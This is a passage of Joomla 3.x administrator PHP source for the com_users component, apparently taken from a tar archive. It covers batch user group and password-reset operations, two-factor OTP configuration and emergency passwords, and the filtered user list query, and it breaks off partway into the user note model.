							// Plugin will have to raise it's own error or throw an exception.
							return false;
						}

						// Store the table.
						if (!$table->store())
						{
							$this->setError($table->getError());

							return false;
						}

						// Fire the after save event
						$dispatcher->trigger($this->event_after_save, array($table->getProperties(), false, true, null));
					}
					catch (Exception $e)
					{
						$this->setError($e->getMessage());

						return false;
					}
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
				}
			}
		}

		return true;
	}

	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   2.5
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize user ids.
		$pks = array_unique($pks);
		$pks = ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('COM_USERS_USERS_NO_ITEM_SELECTED'));

			return false;
		}

		$done = false;

		if (!empty($commands['group_id']))
		{
			$cmd = ArrayHelper::getValue($commands, 'group_action', 'add');

			if (!$this->batchUser((int) $commands['group_id'], $pks, $cmd))
			{
				return false;
			}

			$done = true;
		}

		if (!empty($commands['reset_id']))
		{
			if (!$this->batchReset($pks, $commands['reset_id']))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch flag users as being required to reset their passwords
	 *
	 * @param   array   $userIds  An array of user IDs on which to operate
	 * @param   string  $action   The action to perform
	 *
	 * @return  boolean  True on success, false on failure
	 *
	 * @since   3.2
	 */
	public function batchReset($userIds, $action)
	{
		$userIds = ArrayHelper::toInteger($userIds);

		// Check if I am a Super Admin
		$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');

		// Non-super super user cannot work with super-admin user.
		if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($userIds))
		{
			$this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SUPERUSER'));

			return false;
		}

		// Set the action to perform
		if ($action === 'yes')
		{
			$value = 1;
		}
		else
		{
			$value = 0;
		}

		// Prune out the current user if they are in the supplied user ID array
		$userIds = array_diff($userIds, array(JFactory::getUser()->id));

		if (empty($userIds))
		{
			$this->setError(JText::_('COM_USERS_USERS_ERROR_CANNOT_REQUIRERESET_SELF'));

			return false;
		}

		// Get the DB object
		$db = $this->getDbo();

		$userIds = ArrayHelper::toInteger($userIds);

		$query = $db->getQuery(true);

		// Update the reset flag
		$query->update($db->quoteName('#__users'))
			->set($db->quoteName('requireReset') . ' = ' . $value)
			->where($db->quoteName('id') . ' IN (' . implode(',', $userIds) . ')');

		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return true;
	}

	/**
	 * Perform batch operations
	 *
	 * @param   integer  $groupId  The group ID which assignments are being edited
	 * @param   array    $userIds  An array of user IDs on which to operate
	 * @param   string   $action   The action to perform
	 *
	 * @return  boolean  True on success, false on failure
	 *
	 * @since   1.6
	 */
	public function batchUser($groupId, $userIds, $action)
	{
		$userIds = ArrayHelper::toInteger($userIds);

		// Check if I am a Super Admin
		$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');

		// Non-super super user cannot work with super-admin user.
		if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($userIds))
		{
			$this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SUPERUSER'));

			return false;
		}

		// Non-super admin cannot work with super-admin group.
		if ((!$iAmSuperAdmin && JAccess::checkGroup($groupId, 'core.admin')) || $groupId < 1)
		{
			$this->setError(JText::_('COM_USERS_ERROR_INVALID_GROUP'));

			return false;
		}

		// Get the DB object
		$db = $this->getDbo();

		switch ($action)
		{
			// Sets users to a selected group
			case 'set':
				$doDelete = 'all';
				$doAssign = true;
				break;

			// Remove users from a selected group
			case 'del':
				$doDelete = 'group';
				break;

			// Add users to a selected group
			case 'add':
			default:
				$doAssign = true;
				break;
		}

		// Remove the users from the group if requested.
		if (isset($doDelete))
		{
			$query = $db->getQuery(true);

			// Remove users from the group
			$query->delete($db->quoteName('#__user_usergroup_map'))
				->where($db->quoteName('user_id') . ' IN (' . implode(',', $userIds) . ')');

			// Only remove users from selected group
			if ($doDelete == 'group')
			{
				$query->where($db->quoteName('group_id') . ' = ' . (int) $groupId);
			}

			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}

		// Assign the users to the group if requested.
		if (isset($doAssign))
		{
			$query = $db->getQuery(true);

			// First, we need to check if the user is already assigned to a group
			$query->select($db->quoteName('user_id'))
				->from($db->quoteName('#__user_usergroup_map'))
				->where($db->quoteName('group_id') . ' = ' . (int) $groupId);
			$db->setQuery($query);
			$users = $db->loadColumn();

			// Build the values clause for the assignment query.
			$query->clear();
			$groups = false;

			foreach ($userIds as $id)
			{
				if (!in_array($id, $users))
				{
					$query->values($id . ',' . $groupId);
					$groups = true;
				}
			}

			// If we have no users to process, throw an error to notify the user
			if (!$groups)
			{
				$this->setError(JText::_('COM_USERS_ERROR_NO_ADDITIONS'));

				return false;
			}

			$query->insert($db->quoteName('#__user_usergroup_map'))
				->columns(array($db->quoteName('user_id'), $db->quoteName('group_id')));
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * Gets the available groups.
	 *
	 * @return  array  An array of groups
	 *
	 * @since   1.6
	 */
	public function getGroups()
	{
		$user = JFactory::getUser();

		if ($user->authorise('core.edit', 'com_users') && $user->authorise('core.manage', 'com_users'))
		{
			$model = JModelLegacy::getInstance('Groups', 'UsersModel', array('ignore_request' => true));

			return $model->getItems();
		}
		else
		{
			return null;
		}
	}

	/**
	 * Gets the groups this object is assigned to
	 *
	 * @param   integer  $userId  The user ID to retrieve the groups for
	 *
	 * @return  array  An array of assigned groups
	 *
	 * @since   1.6
	 */
	public function getAssignedGroups($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		if (empty($userId))
		{
			$result   = array();
			$form     = $this->getForm();

			if ($form)
			{
				$groupsIDs = $form->getValue('groups');
			}

			if (!empty($groupsIDs))
			{
				$result = $groupsIDs;
			}
			else
			{
				$params = JComponentHelper::getParams('com_users');

				if ($groupId = $params->get('new_usertype', $params->get('guest_usergroup', 1)))
				{
					$result[] = $groupId;
				}
			}
		}
		else
		{
			$result = JUserHelper::getUserGroups($userId);
		}

		return $result;
	}

	/**
	 * Returns the one time password (OTP) – a.k.a. two factor authentication –
	 * configuration for a particular user.
	 *
	 * @param   integer  $userId  The numeric ID of the user
	 *
	 * @return  stdClass  An object holding the OTP configuration for this user
	 *
	 * @since   3.2
	 */
	public function getOtpConfig($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		// Initialise
		$otpConfig = (object) array(
			'method' => 'none',
			'config' => array(),
			'otep'   => array()
		);

		/**
		 * Get the raw data, without going through JUser (required in order to
		 * be able to modify the user record before logging in the user).
		 */
		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->qn('#__users'))
			->where($db->qn('id') . ' = ' . (int) $userId);
		$db->setQuery($query);
		$item = $db->loadObject();

		// Make sure this user does have OTP enabled
		if (empty($item->otpKey))
		{
			return $otpConfig;
		}

		// Get the encrypted data
		list($method, $config) = explode(':', $item->otpKey, 2);
		$encryptedOtep = $item->otep;

		// Get the secret key, yes the thing that is saved in the configuration file
		$key = $this->getOtpConfigEncryptionKey();

		if (strpos($config, '{') === false)
		{
			$openssl         = new FOFEncryptAes($key, 256);
			$mcrypt          = new FOFEncryptAes($key, 256, 'cbc', null, 'mcrypt');

			$decryptedConfig = $mcrypt->decryptString($config);

			if (strpos($decryptedConfig, '{') !== false)
			{
				// Data encrypted with mcrypt
				$decryptedOtep = $mcrypt->decryptString($encryptedOtep);
				$encryptedOtep = $openssl->encryptString($decryptedOtep);
			}
			else
			{
				// Config data seems to be save encrypted, this can happen with 3.6.3 and openssl, lets get the data
				$decryptedConfig = $openssl->decryptString($config);
			}

			$otpKey = $method . ':' . $decryptedConfig;

			$query = $db->getQuery(true)
				->update($db->qn('#__users'))
				->set($db->qn('otep') . '=' . $db->q($encryptedOtep))
				->set($db->qn('otpKey') . '=' . $db->q($otpKey))
				->where($db->qn('id') . ' = ' . $db->q($userId));
			$db->setQuery($query);
			$db->execute();
		}
		else
		{
			$decryptedConfig = $config;
		}

		// Create an encryptor class
		$aes = new FOFEncryptAes($key, 256);

		// Decrypt the data
		$decryptedOtep = $aes->decryptString($encryptedOtep);

		// Remove the null padding added during encryption
		$decryptedConfig = rtrim($decryptedConfig, "\0");
		$decryptedOtep = rtrim($decryptedOtep, "\0");

		// Update the configuration object
		$otpConfig->method = $method;
		$otpConfig->config = @json_decode($decryptedConfig);
		$otpConfig->otep = @json_decode($decryptedOtep);

		/*
		 * If the decryption failed for any reason we essentially disable the
		 * two-factor authentication. This prevents impossible to log in sites
		 * if the site admin changes the site secret for any reason.
		 */
		if (is_null($otpConfig->config))
		{
			$otpConfig->config = array();
		}

		if (is_object($otpConfig->config))
		{
			$otpConfig->config = (array) $otpConfig->config;
		}

		if (is_null($otpConfig->otep))
		{
			$otpConfig->otep = array();
		}

		if (is_object($otpConfig->otep))
		{
			$otpConfig->otep = (array) $otpConfig->otep;
		}

		// Return the configuration object
		return $otpConfig;
	}

	/**
	 * Sets the one time password (OTP) – a.k.a. two factor authentication –
	 * configuration for a particular user. The $otpConfig object is the same as
	 * the one returned by the getOtpConfig method.
	 *
	 * @param   integer   $userId     The numeric ID of the user
	 * @param   stdClass  $otpConfig  The OTP configuration object
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.2
	 */
	public function setOtpConfig($userId, $otpConfig)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		$updates = (object) array(
			'id'     => $userId,
			'otpKey' => '',
			'otep'   => ''
		);

		// Create an encryptor class
		$key = $this->getOtpConfigEncryptionKey();
		$aes = new FOFEncryptAes($key, 256);

		// Create the encrypted option strings
		if (!empty($otpConfig->method) && ($otpConfig->method != 'none'))
		{
			$decryptedConfig = json_encode($otpConfig->config);
			$decryptedOtep = json_encode($otpConfig->otep);
			$updates->otpKey = $otpConfig->method . ':' . $decryptedConfig;
			$updates->otep = $aes->encryptString($decryptedOtep);
		}

		$db = $this->getDbo();
		$result = $db->updateObject('#__users', $updates, 'id');

		return $result;
	}

	/**
	 * Gets the symmetric encryption key for the OTP configuration data. It
	 * currently returns the site's secret.
	 *
	 * @return  string  The encryption key
	 *
	 * @since   3.2
	 */
	public function getOtpConfigEncryptionKey()
	{
		return JFactory::getConfig()->get('secret');
	}

	/**
	 * Gets the configuration forms for all two-factor authentication methods
	 * in an array.
	 *
	 * @param   integer  $userId  The user ID to load the forms for (optional)
	 *
	 * @return  array
	 *
	 * @since   3.2
	 */
	public function getTwofactorform($userId = null)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		$otpConfig = $this->getOtpConfig($userId);

		FOFPlatform::getInstance()->importPlugin('twofactorauth');

		return FOFPlatform::getInstance()->runPlugins('onUserTwofactorShowConfiguration', array($otpConfig, $userId));
	}

	/**
	 * Generates a new set of One Time Emergency Passwords (OTEPs) for a given user.
	 *
	 * @param   integer  $userId  The user ID
	 * @param   integer  $count   How many OTEPs to generate? Default: 10
	 *
	 * @return  array  The generated OTEPs
	 *
	 * @since   3.2
	 */
	public function generateOteps($userId, $count = 10)
	{
		$userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id');

		// Initialise
		$oteps = array();

		// Get the OTP configuration for the user
		$otpConfig = $this->getOtpConfig($userId);

		// If two factor authentication is not enabled, abort
		if (empty($otpConfig->method) || ($otpConfig->method == 'none'))
		{
			return $oteps;
		}

		$salt = '0123456789';
		$base = strlen($salt);
		$length = 16;

		for ($i = 0; $i < $count; $i++)
		{
			$makepass = '';
			$random = JCrypt::genRandomBytes($length + 1);
			$shift = ord($random[0]);

			for ($j = 1; $j <= $length; ++$j)
			{
				$makepass .= $salt[($shift + ord($random[$j])) % $base];
				$shift += ord($random[$j]);
			}

			$oteps[] = $makepass;
		}

		$otpConfig->otep = $oteps;

		// Save the now modified OTP configuration
		$this->setOtpConfig($userId, $otpConfig);

		return $oteps;
	}

	/**
	 * Checks if the provided secret key is a valid two factor authentication
	 * secret key. If not, it will check it against the list of one time
	 * emergency passwords (OTEPs). If it's a valid OTEP it will also remove it
	 * from the user's list of OTEPs.
	 *
	 * This method will return true in the following conditions:
	 * - The two factor authentication is not enabled
	 * - You have provided a valid secret key for
	 * - You have provided a valid OTEP
	 *
	 * You can define the following options in the $options array:
	 * otp_config		The OTP (one time password, a.k.a. two factor auth)
	 *				    configuration object. If not set we'll load it automatically.
	 * warn_if_not_req	Issue a warning if you are checking a secret key against
	 *					a user account which doesn't have any two factor
	 *					authentication method enabled.
	 * warn_irq_msg		The string to use for the warn_if_not_req warning
	 *
	 * @param   integer  $userId     The user's numeric ID
	 * @param   string   $secretKey  The secret key you want to check
	 * @param   array    $options    Options; see above
	 *
	 * @return  boolean  True if it's a valid secret key for this user.
	 *
	 * @since   3.2
	 */
	public function isValidSecretKey($userId, $secretKey, $options = array())
	{
		// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
		if (!array_key_exists('otp_config', $options))
		{
			$otpConfig = $this->getOtpConfig($userId);
			$options['otp_config'] = $otpConfig;
		}
		else
		{
			$otpConfig = $options['otp_config'];
		}

		// Check if the user has enabled two factor authentication
		if (empty($otpConfig->method) || ($otpConfig->method == 'none'))
		{
			// Load language
			$lang = JFactory::getLanguage();
			$extension = 'com_users';
			$source = JPATH_ADMINISTRATOR . '/components/' . $extension;

			$lang->load($extension, JPATH_ADMINISTRATOR, null, false, true)
				|| $lang->load($extension, $source, null, false, true);

			$warn = true;
			$warnMessage = JText::_('COM_USERS_ERROR_SECRET_CODE_WITHOUT_TFA');

			if (array_key_exists('warn_if_not_req', $options))
			{
				$warn = $options['warn_if_not_req'];
			}

			if (array_key_exists('warn_irq_msg', $options))
			{
				$warnMessage = $options['warn_irq_msg'];
			}

			// Warn the user if they are using a secret code but they have not
			// enabled two factor auth in their account.
			if (!empty($secretKey) && $warn)
			{
				try
				{
					$app = JFactory::getApplication();
					$app->enqueueMessage($warnMessage, 'warning');
				}
				catch (Exception $exc)
				{
					// This happens when we are in CLI mode. In this case
					// no warning is issued
					return true;
				}
			}

			return true;
		}

		$credentials = array(
			'secretkey' => $secretKey,
		);

		// Try to validate the OTP
		FOFPlatform::getInstance()->importPlugin('twofactorauth');

		$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));

		$check = false;

		/*
		 * This looks like noob code but DO NOT TOUCH IT and do not convert
		 * to in_array(). During testing in_array() inexplicably returned
		 * null when the OTEP begins with a zero! o_O
		 */
		if (!empty($otpAuthReplies))
		{
			foreach ($otpAuthReplies as $authReply)
			{
				$check = $check || $authReply;
			}
		}

		// Fall back to one time emergency passwords
		if (!$check)
		{
			$check = $this->isValidOtep($userId, $secretKey, $otpConfig);
		}

		return $check;
	}

	/**
	 * Checks if the supplied string is a valid one time emergency password
	 * (OTEP) for this user. If it is it will be automatically removed from the
	 * user's list of OTEPs.
	 *
	 * @param   integer  $userId     The user ID against which you are checking
	 * @param   string   $otep       The string you want to test for validity
	 * @param   object   $otpConfig  Optional; the two factor authentication configuration (automatically fetched if not set)
	 *
	 * @return  boolean  True if it's a valid OTEP or if two factor auth is not
	 *                   enabled in this user's account.
	 *
	 * @since   3.2
	 */
	public function isValidOtep($userId, $otep, $otpConfig = null)
	{
		if (is_null($otpConfig))
		{
			$otpConfig = $this->getOtpConfig($userId);
		}

		// Did the user use an OTEP instead?
		if (empty($otpConfig->otep))
		{
			if (empty($otpConfig->method) || ($otpConfig->method == 'none'))
			{
				// Two factor authentication is not enabled on this account.
				// Any string is assumed to be a valid OTEP.
				return true;
			}
			else
			{
				/**
				 * Two factor authentication enabled and no OTEPs defined. The
				 * user has used them all up. Therefore anything they enter is
				 * an invalid OTEP.
				 */
				return false;
			}
		}

		// Clean up the OTEP (remove dashes, spaces and other funny stuff
		// our beloved users may have unwittingly stuffed in it)
		$otep = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
		$otep = str_replace('-', '', $otep);

		$check = false;

		// Did we find a valid OTEP?
		if (in_array($otep, $otpConfig->otep))
		{
			// Remove the OTEP from the array
			$otpConfig->otep = array_diff($otpConfig->otep, array($otep));

			$this->setOtpConfig($userId, $otpConfig);

			// Return true; the OTEP was a valid one
			$check = true;
		}

		return $check;
	}
}
com_users/models/users.php000060400000031767152455305320011716 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of user records.
 *
 * @since  1.6
 */
class UsersModelUsers extends JModelList
{
	/**
	 * A blacklist of filter variables to not merge into the model's state
	 *
	 * @var    array
	 */
	protected $filterBlacklist = array('groups', 'excluded');

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'username', 'a.username',
				'email', 'a.email',
				'block', 'a.block',
				'sendEmail', 'a.sendEmail',
				'registerDate', 'a.registerDate',
				'lastvisitDate', 'a.lastvisitDate',
				'activation', 'a.activation',
				'active',
				'group_id',
				'range',
				'lastvisitrange',
				'state',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.name', $direction = 'asc')
	{
		$app = JFactory::getApplication('administrator');

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout', 'default', 'cmd'))
		{
			$this->context .= '.' . $layout;
		}

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.active', $this->getUserStateFromRequest($this->context . '.filter.active', 'filter_active', '', 'cmd'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'cmd'));
		$this->setState('filter.group_id', $this->getUserStateFromRequest($this->context . '.filter.group_id', 'filter_group_id', null, 'int'));
		$this->setState('filter.range', $this->getUserStateFromRequest($this->context . '.filter.range', 'filter_range', '', 'cmd'));
		$this->setState(
			'filter.lastvisitrange', $this->getUserStateFromRequest($this->context . '.filter.lastvisitrange', 'filter_lastvisitrange', '', 'cmd')
		);

		$groups = json_decode(base64_decode($app->input->get('groups', '', 'BASE64')));

		if (isset($groups))
		{
			$groups = ArrayHelper::toInteger($groups);
		}

		$this->setState('filter.groups', $groups);

		$excluded = json_decode(base64_decode($app->input->get('excluded', '', 'BASE64')));

		if (isset($excluded))
		{
			$excluded = ArrayHelper::toInteger($excluded);
		}

		$this->setState('filter.excluded', $excluded);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_users');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.active');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.group_id');
		$id .= ':' . $this->getState('filter.range');

		return parent::getStoreId($id);
	}

	/**
	 * Gets the list of users and adds expensive joins to the result set.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		// Get a storage key.
		$store = $this->getStoreId();

		// Try to load the data from internal storage.
		if (empty($this->cache[$store]))
		{
			$groups  = $this->getState('filter.groups');
			$groupId = $this->getState('filter.group_id');

			if (isset($groups) && (empty($groups) || $groupId && !in_array($groupId, $groups)))
			{
				$items = array();
			}
			else
			{
				$items = parent::getItems();
			}

			// Bail out on an error or empty list.
			if (empty($items))
			{
				$this->cache[$store] = $items;

				return $items;
			}

			// Joining the groups with the main query is a performance hog.
			// Find the information only on the result set.

			// First pass: get list of the user id's and reset the counts.
			$userIds = array();

			foreach ($items as $item)
			{
				$userIds[] = (int) $item->id;
				$item->group_count = 0;
				$item->group_names = '';
				$item->note_count = 0;
			}

			// Get the counts from the database only for the users in the list.
			$db    = $this->getDbo();
			$query = $db->getQuery(true);

			// Join over the group mapping table.
			$query->select('map.user_id, COUNT(map.group_id) AS group_count')
				->from('#__user_usergroup_map AS map')
				->where('map.user_id IN (' . implode(',', $userIds) . ')')
				->group('map.user_id')
				// Join over the user groups table.
				->join('LEFT', '#__usergroups AS g2 ON g2.id = map.group_id');

			$db->setQuery($query);

			// Load the counts into an array indexed on the user id field.
			try
			{
				$userGroups = $db->loadObjectList('user_id');
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			$query->clear()
				->select('n.user_id, COUNT(n.id) As note_count')
				->from('#__user_notes AS n')
				->where('n.user_id IN (' . implode(',', $userIds) . ')')
				->where('n.state >= 0')
				->group('n.user_id');

			$db->setQuery($query);

			// Load the counts into an array indexed on the aro.value field (the user id).
			try
			{
				$userNotes = $db->loadObjectList('user_id');
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			// Second pass: collect the group counts into the master items array.
			foreach ($items as &$item)
			{
				if (isset($userGroups[$item->id]))
				{
					$item->group_count = $userGroups[$item->id]->group_count;

					// Group_concat in other databases is not supported
					$item->group_names = $this->_getUserDisplayedGroups($item->id);
				}

				if (isset($userNotes[$item->id]))
				{
					$item->note_count = $userNotes[$item->id]->note_count;
				}
			}

			// Add the items to the internal cache.
			$this->cache[$store] = $items;
		}

		return $this->cache[$store];
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);

		$query->from($db->quoteName('#__users') . ' AS a');

		// If the model is set to check item state, add to the query.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where('a.block = ' . (int) $state);
		}

		// If the model is set to check the activated state, add to the query.
		$active = $this->getState('filter.active');

		if (is_numeric($active))
		{
			if ($active == '0')
			{
				$query->where('a.activation IN (' . $db->quote('') . ', ' . $db->quote('0') . ')');
			}
			elseif ($active == '1')
			{
				$query->where($query->length('a.activation') . ' > 1');
			}
		}

		// Filter the items over the group id if set.
		$groupId = $this->getState('filter.group_id');
		$groups  = $this->getState('filter.groups');

		if ($groupId || isset($groups))
		{
			$query->join('LEFT', '#__user_usergroup_map AS map2 ON map2.user_id = a.id')
				->group(
					$db->quoteName(
						array(
							'a.id',
							'a.name',
							'a.username',
							'a.password',
							'a.block',
							'a.sendEmail',
							'a.registerDate',
							'a.lastvisitDate',
							'a.activation',
							'a.params',
							'a.email'
						)
					)
				);

			if ($groupId)
			{
				$query->where('map2.group_id = ' . (int) $groupId);
			}

			if (isset($groups))
			{
				$query->where('map2.group_id IN (' . implode(',', $groups) . ')');
			}
		}

		// Filter the items over the search string if set.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'username:') === 0)
			{
				$search = $db->quote('%' . $db->escape(substr($search, 9), true) . '%');
				$query->where('a.username LIKE ' . $search);
			}
			else
			{
				// Escape the search token.
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));

				// Compile the different search clauses.
				$searches   = array();
				$searches[] = 'a.name LIKE ' . $search;
				$searches[] = 'a.username LIKE ' . $search;
				$searches[] = 'a.email LIKE ' . $search;

				// Add the clauses to the query.
				$query->where('(' . implode(' OR ', $searches) . ')');
			}
		}

		// Add filter for registration ranges select list
		$range = $this->getState('filter.range');

		// Apply the range filter.
		if ($range)
		{
			$dates = $this->buildDateRange($range);

			if ($dates['dNow'] === false)
			{
				$query->where(
					$db->qn('a.registerDate') . ' < ' . $db->quote($dates['dStart']->format('Y-m-d H:i:s'))
				);
			}
			else
			{
				$query->where(
					$db->qn('a.registerDate') . ' >= ' . $db->quote($dates['dStart']->format('Y-m-d H:i:s')) .
					' AND ' . $db->qn('a.registerDate') . ' <= ' . $db->quote($dates['dNow']->format('Y-m-d H:i:s'))
				);
			}
		}

		// Add filter for registration ranges select list
		$lastvisitrange = $this->getState('filter.lastvisitrange');

		// Apply the range filter.
		if ($lastvisitrange)
		{
			$dates = $this->buildDateRange($lastvisitrange);

			if (is_string($dates['dStart']))
			{
				$query->where(
					$db->qn('a.lastvisitDate') . ' = ' . $db->quote($dates['dStart'])
				);
			}
			elseif ($dates['dNow'] === false)
			{
				$query->where(
					$db->qn('a.lastvisitDate') . ' < ' . $db->quote($dates['dStart']->format('Y-m-d H:i:s'))
				);
			}
			else
			{
				$query->where(
					$db->qn('a.lastvisitDate') . ' >= ' . $db->quote($dates['dStart']->format('Y-m-d H:i:s')) .
					' AND ' . $db->qn('a.lastvisitDate') . ' <= ' . $db->quote($dates['dNow']->format('Y-m-d H:i:s'))
				);
			}
		}

		// Filter by excluded users
		$excluded = $this->getState('filter.excluded');

		if (!empty($excluded))
		{
			$query->where('id NOT IN (' . implode(',', $excluded) . ')');
		}

		// Add the list ordering clause.
		$query->order($db->qn($db->escape($this->getState('list.ordering', 'a.name'))) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Construct the date range to filter on.
	 *
	 * @param   string  $range  The textual range to construct the filter for.
	 *
	 * @return  string  The date range to filter on.
	 *
	 * @since   3.6.0
	 */
	private function buildDateRange($range)
	{
		// Get UTC for now.
		$dNow   = new JDate;
		$dStart = clone $dNow;

		switch ($range)
		{
			case 'past_week':
				$dStart->modify('-7 day');
				break;

			case 'past_1month':
				$dStart->modify('-1 month');
				break;

			case 'past_3month':
				$dStart->modify('-3 month');
				break;

			case 'past_6month':
				$dStart->modify('-6 month');
				break;

			case 'post_year':
				$dNow = false;
			case 'past_year':
				$dStart->modify('-1 year');
				break;

			case 'today':
				// Ranges that need to align with local 'days' need special treatment.
				$app    = JFactory::getApplication();
				$offset = $app->get('offset');

				// Reset the start time to be the beginning of today, local time.
				$dStart = new JDate('now', $offset);
				$dStart->setTime(0, 0, 0);

				// Now change the timezone back to UTC.
				$tz = new DateTimeZone('GMT');
				$dStart->setTimezone($tz);
				break;
			case 'never':
				$dNow = false;
				$dStart = $this->_db->getNullDate();
				break;
		}

		return array('dNow' => $dNow, 'dStart' => $dStart);
	}

	/**
	 * SQL server change
	 *
	 * @param   integer  $userId  User identifier
	 *
	 * @return  string   Groups titles imploded :$
	 */
	protected function _getUserDisplayedGroups($userId)
	{
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->select($db->qn('title'))
			->from($db->qn('#__usergroups', 'ug'))
			->join('LEFT', $db->qn('#__user_usergroup_map', 'map') . ' ON (ug.id = map.group_id)')
			->where($db->qn('map.user_id') . ' = ' . (int) $userId);

		try
		{
			$result = $db->setQuery($query)->loadColumn();
		}
		catch (RunTimeException $e)
		{
			$result = array();
		}

		return implode("\n", $result);
	}
}
com_users/models/note.php000060400000006416152455305320011513 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User note model.
 *
 * @since  2.5
 */
class UsersModelNote extends JModelAdmin
{
	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_users.note';

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   2.5
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.note', 'note', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   2.5
	 */
	public function getItem($pk = null)
	{
		$result = parent::getItem($pk);

		// Get the dispatcher and load the content plugins.
